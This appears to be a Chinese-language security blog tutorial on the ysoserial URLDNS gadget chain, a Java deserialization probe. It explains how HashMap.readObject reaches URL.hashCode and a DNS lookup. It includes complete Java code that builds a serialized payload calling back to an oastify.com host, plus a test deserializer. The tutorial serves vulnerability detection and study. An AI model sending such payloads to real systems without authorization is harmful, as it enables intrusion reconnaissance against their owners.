# URLDNS 链分析
URLDNS 链是 ysoserial 中的一条利用链,通常用于监测是否存在 Java 反序列化漏洞,该链有如下特点:
1、不限制 jdk 版本,使用 java 内置的类,无第三方依赖要求
2、目标无回显,可通过 DNS 请求验证是否存在反序列化漏洞
3、该条链只能用来发起 DNS 请求,不能够进行其他利用
该条链子的漏洞的 sink 点为 Java 内置的 java.net.URL
类,该类的 hasCode()
方法会调用 getHostAddress()
方法对目标 host 进行 DNS 解析请求
首先来看下 hasCode()
方法,该方法在内部又调用了 handler
的 hashCode()
方法, handler
为 URLStreamHandler
类的实例
继续跟进 handler.hashCode()
,内部调用 getHostAddress()
方法进行 DNS 解析请求,然而有一个前提就是自身的 hashCode
成员属性的值要为 - 1
接下来就是分析该条链的 kick-off 了,也就是 java.util.HashMap
类,这个类是最常用的 Map 实现类
由于反序列化的对象是 HashMap
的实例,因此会调用该类的 readObject()
方法,来看一下,在该方法的最后通过循环将序列化对象中的 key
和 value
对象通过 readObject()
方法反序列化后,通过 putVal()
方法将键、值及 hash 信息存入到 HashMap 的成员属性 table 中
这里首先会先调用 hash()
方法,跟进查看下,发现又调用了 key
的 hashCode()
方法
所以此时调用链就有了,这里的 key
是可控的,将其设为 URL
类的实例,就可以在反序列化的时候调用 URL
类的 hashCode()
方法,从而发起 DNS 解析请求
所以 payload 构造如下:
import java.io.FileOutputStream; | |
import java.io.IOException; | |
import java.io.ObjectOutputStream; | |
import java.lang.reflect.Field; | |
import java.net.URL; | |
import java.util.HashMap; | |
public class SerializeTest { | |
public static void serialize(Object obj) throws IOException { | |
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sel.bin")); | |
oos.writeObject(obj); | |
} | |
public static void main(String[] args) throws Exception{ | |
HashMap<URL, Integer> hashmap = new HashMap<>(); | |
URL url = new URL("http://fve87323p580x94a5lh6c3ct0k6bu1iq.oastify.com"); | |
hashmap.put(url, 1); | |
serialize(hashmap); | |
} | |
} |
然而 HashMap
的 put()
方法同样也会调用 hash()
方法,因此在这一步时也会进行一次 DNS 解析请求
为了不在生成 payload 的时候就触发 DNS 解析,我们需要通过反射将 URL 对象的 hashCode
的值设置不为 - 1 (在实例化时会默认赋值为 - 1),在放入 hashmap 之后为了保证后续在反序列化的时候成功触发漏洞调用链,还需要将 hashCode
的值重新设置为 - 1,因此最终的 payload 如下:
import java.io.FileOutputStream; | |
import java.io.IOException; | |
import java.io.ObjectOutputStream; | |
import java.lang.reflect.Field; | |
import java.net.URL; | |
import java.util.HashMap; | |
public class SerializeTest { | |
public static void serialize(Object obj) throws IOException { | |
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sel.bin")); | |
oos.writeObject(obj); | |
} | |
public static void main(String[] args) throws Exception{ | |
HashMap<URL, Integer> hashmap = new HashMap<>(); | |
URL url = new URL("http://fve87323p580x94a5lh6c3ct0k6bu1iq.oastify.com"); | |
Class c = url.getClass(); | |
Field hashcodefield = c.getDeclaredField("hashCode"); | |
hashcodefield.setAccessible(true); | |
// 这里发送 DNS 请求,要先将 url 对象的 hashcode 设置不为 - 1 | |
hashcodefield.set(url, 666); | |
hashmap.put(url, 1); | |
// 此时要把 hashcode 改回 - 1,否则反序列化时不会触发漏洞点 | |
hashcodefield.set(url, -1); | |
serialize(hashmap); | |
} | |
} |
编写一个反序列化测试类看看效果:
import java.io.FileInputStream; | |
import java.io.IOException; | |
import java.io.ObjectInputStream; | |
public class DeserializeTest { | |
public static Object deserialize(String Filename) throws IOException, ClassNotFoundException{ | |
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); | |
Object obj = ois.readObject(); | |
return obj; | |
} | |
public static void main(String[] args) throws IOException, ClassNotFoundException { | |
deserialize("sel.bin"); | |
} | |
} |
运行后成功接收到了 DNS 请求